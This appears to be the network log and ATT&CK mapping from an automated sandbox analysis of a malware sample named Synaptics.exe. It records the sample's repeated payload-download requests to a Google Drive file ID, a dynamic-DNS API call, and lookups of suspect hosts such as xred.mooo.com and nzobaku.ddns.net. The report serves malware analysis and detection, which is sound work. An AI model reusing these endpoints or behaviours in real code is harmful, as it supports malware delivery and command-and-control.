http://o.pki.goog/wr2/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEHyJphBGwReeEkiNdM8lXYY%3D

Synaptics.exe

Remote address:

142.250.179.67:80

Request

GET /wr2/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEHyJphBGwReeEkiNdM8lXYY%3D HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0
Host: o.pki.goog

Response

HTTP/1.1 200 OK

Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Date: Thu, 19 Dec 2024 02:03:20 GMT
Cache-Control: public, max-age=14400
Content-Type: application/ocsp-response
Age: 945
DNS

drive.usercontent.google.com

Synaptics.exe

Remote address:

8.8.8.8:53

Request

drive.usercontent.google.com

IN A

Response

drive.usercontent.google.com

IN A

142.250.74.225
GET

https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

142.250.74.225:443

Request

GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Cache-Control: no-cache
Host: drive.usercontent.google.com
Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found

X-GUploader-UploadID: AFiumC7HahhDPvn7LtcABegdRhG5MV-hr5fpNIlX1fYb929Zgd7i9s3HpQTWbEzsYvqYFgdGssD0kho
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 19 Dec 2024 02:19:05 GMT
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Cross-Origin-Opener-Policy: same-origin
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
Content-Security-Policy: script-src 'report-sample' 'nonce-UyH3knHX31vjUeiA6_C_4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Content-Length: 1652
Server: UploadServer
Set-Cookie: NID=520=HP7ZbPUifh3eersYx-s_ECMblac2Yrq8b23iPUtLJnq9dZ-ize5Jcup8D1QIBB9eU1nKfszbg9Vxxluf01jOotyAfnCks8ngXTUNSi-GSQLTT2bjFyJF6d3RL-j8L7n8ujv9vFY7J9w33HCXpAgoT5vsdAyugk254HHs6HKnD6FgQ68e; expires=Fri, 20-Jun-2025 02:19:05 GMT; path=/; domain=.google.com; HttpOnly
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Content-Security-Policy: sandbox allow-scripts
GET

https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

142.250.74.225:443

Request

GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Cache-Control: no-cache
Host: drive.usercontent.google.com
Connection: Keep-Alive
Cookie: NID=520=HP7ZbPUifh3eersYx-s_ECMblac2Yrq8b23iPUtLJnq9dZ-ize5Jcup8D1QIBB9eU1nKfszbg9Vxxluf01jOotyAfnCks8ngXTUNSi-GSQLTT2bjFyJF6d3RL-j8L7n8ujv9vFY7J9w33HCXpAgoT5vsdAyugk254HHs6HKnD6FgQ68e

Response

HTTP/1.1 404 Not Found

X-GUploader-UploadID: AFiumC4pddRNndpSTc3sNVwrux1gawtX6nIBWtv0QLqOwyLPKzmzFunxKJqOoF1HfJNF2-M95DSX8_8
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 19 Dec 2024 02:19:05 GMT
Cross-Origin-Opener-Policy: same-origin
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Content-Security-Policy: script-src 'report-sample' 'nonce-EwVwrw2z_Dhr-4Oj8eFn_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Content-Length: 1652
Server: UploadServer
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Content-Security-Policy: sandbox allow-scripts
GET

https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

142.250.74.225:443

Request

GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Cache-Control: no-cache
Host: drive.usercontent.google.com
Connection: Keep-Alive
Cookie: NID=520=HP7ZbPUifh3eersYx-s_ECMblac2Yrq8b23iPUtLJnq9dZ-ize5Jcup8D1QIBB9eU1nKfszbg9Vxxluf01jOotyAfnCks8ngXTUNSi-GSQLTT2bjFyJF6d3RL-j8L7n8ujv9vFY7J9w33HCXpAgoT5vsdAyugk254HHs6HKnD6FgQ68e

Response

HTTP/1.1 404 Not Found

X-GUploader-UploadID: AFiumC51cYMxPPuxDhy_YGdN4LNytCMl8sFD-hm7D8jiA1tZLDtwglAy4GKVRyAu3pS-v8U8cPjDQi4
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 19 Dec 2024 02:19:05 GMT
Cross-Origin-Opener-Policy: same-origin
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Content-Security-Policy: script-src 'report-sample' 'nonce-VN1iU1GX6lk0h539XS-9VQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Content-Length: 1652
Server: UploadServer
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Content-Security-Policy: sandbox allow-scripts
DNS

225.74.250.142.in-addr.arpa

Remote address:

8.8.8.8:53

Request

225.74.250.142.in-addr.arpa

IN PTR

Response

225.74.250.142.in-addr.arpa

IN PTR

par10s40-in-f11e100net

69.42.215.252:80

http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

http

Synaptics.exe

430 B
415 B
6
4

HTTP Request

GET http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

HTTP Response

200
216.58.214.174:443

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

tls, http

Synaptics.exe

1.9kB
11.3kB
16
14

HTTP Request

GET https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

303

HTTP Request

GET https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

303

HTTP Request

GET https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

303
142.250.179.67:80

http://c.pki.goog/r/r1.crl

http

Synaptics.exe

303 B
1.7kB
4
4

HTTP Request

GET http://c.pki.goog/r/r1.crl

HTTP Response

200
142.250.179.67:80

http://o.pki.goog/wr2/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEHyJphBGwReeEkiNdM8lXYY%3D

http

Synaptics.exe

738 B
1.6kB
6
4

HTTP Request

GET http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDIOoql8hHyJhDFZvyBCxik

HTTP Response

200

HTTP Request

GET http://o.pki.goog/wr2/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEHyJphBGwReeEkiNdM8lXYY%3D

HTTP Response

200
142.250.74.225:443

https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

tls, http

Synaptics.exe

2.4kB
14.7kB
23
21

HTTP Request

GET https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

404

HTTP Request

GET https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

404

HTTP Request

GET https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

404

8.8.8.8:53

8.8.8.8.in-addr.arpa

dns

66 B
90 B
1
1

DNS Request

8.8.8.8.in-addr.arpa
8.8.8.8:53

133.211.185.52.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

133.211.185.52.in-addr.arpa
8.8.8.8:53

172.210.232.199.in-addr.arpa

dns

74 B
128 B
1
1

DNS Request

172.210.232.199.in-addr.arpa
8.8.8.8:53

2.159.190.20.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

2.159.190.20.in-addr.arpa
8.8.8.8:53

95.221.229.192.in-addr.arpa

dns

73 B
144 B
1
1

DNS Request

95.221.229.192.in-addr.arpa
8.8.8.8:53

28.118.140.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

28.118.140.52.in-addr.arpa
8.8.8.8:53

nzobaku.ddns.net

dns

._cache_89a0505f3a57c93a50a75439cdec93d6a5d217a3e74b7a86f98c8b228c8957ba.exe

62 B
78 B
1
1

DNS Request

nzobaku.ddns.net

DNS Response

0.0.0.0
8.8.8.8:53

212.20.149.52.in-addr.arpa

dns

72 B
146 B
1
1

DNS Request

212.20.149.52.in-addr.arpa
8.8.8.8:53

241.42.69.40.in-addr.arpa

dns

71 B
145 B
1
1

DNS Request

241.42.69.40.in-addr.arpa
8.8.8.8:53

180.129.81.91.in-addr.arpa

dns

72 B
147 B
1
1

DNS Request

180.129.81.91.in-addr.arpa
8.8.8.8:53

240.76.109.52.in-addr.arpa

dns

72 B
146 B
1
1

DNS Request

240.76.109.52.in-addr.arpa
8.8.8.8:53

14.160.190.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

14.160.190.20.in-addr.arpa
8.8.8.8:53

xred.mooo.com

dns

Synaptics.exe

59 B
118 B
1
1

DNS Request

xred.mooo.com
8.8.8.8:53

freedns.afraid.org

dns

Synaptics.exe

64 B
80 B
1
1

DNS Request

freedns.afraid.org

DNS Response

69.42.215.252
224.0.0.251:5353

57 B
1
8.8.8.8:53

252.215.42.69.in-addr.arpa

dns

144 B
144 B
2
2

DNS Request

252.215.42.69.in-addr.arpa

DNS Request

252.215.42.69.in-addr.arpa
8.8.8.8:53

171.117.168.52.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

171.117.168.52.in-addr.arpa
8.8.8.8:53

13.227.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

13.227.111.52.in-addr.arpa
8.8.8.8:53

docs.google.com

dns

Synaptics.exe

61 B
77 B
1
1

DNS Request

docs.google.com

DNS Response

216.58.214.174
8.8.8.8:53

c.pki.goog

dns

Synaptics.exe

56 B
107 B
1
1

DNS Request

c.pki.goog

DNS Response

142.250.179.67
8.8.8.8:53

174.214.58.216.in-addr.arpa

dns

73 B
173 B
1
1

DNS Request

174.214.58.216.in-addr.arpa
8.8.8.8:53

67.179.250.142.in-addr.arpa

dns

73 B
111 B
1
1

DNS Request

67.179.250.142.in-addr.arpa
8.8.8.8:53

o.pki.goog

dns

Synaptics.exe

56 B
107 B
1
1

DNS Request

o.pki.goog

DNS Response

142.250.179.67
8.8.8.8:53

drive.usercontent.google.com

dns

Synaptics.exe

74 B
90 B
1
1

DNS Request

drive.usercontent.google.com

DNS Response

142.250.74.225
8.8.8.8:53

225.74.250.142.in-addr.arpa

dns

73 B
111 B
1
1

DNS Request

225.74.250.142.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

System Information Discovery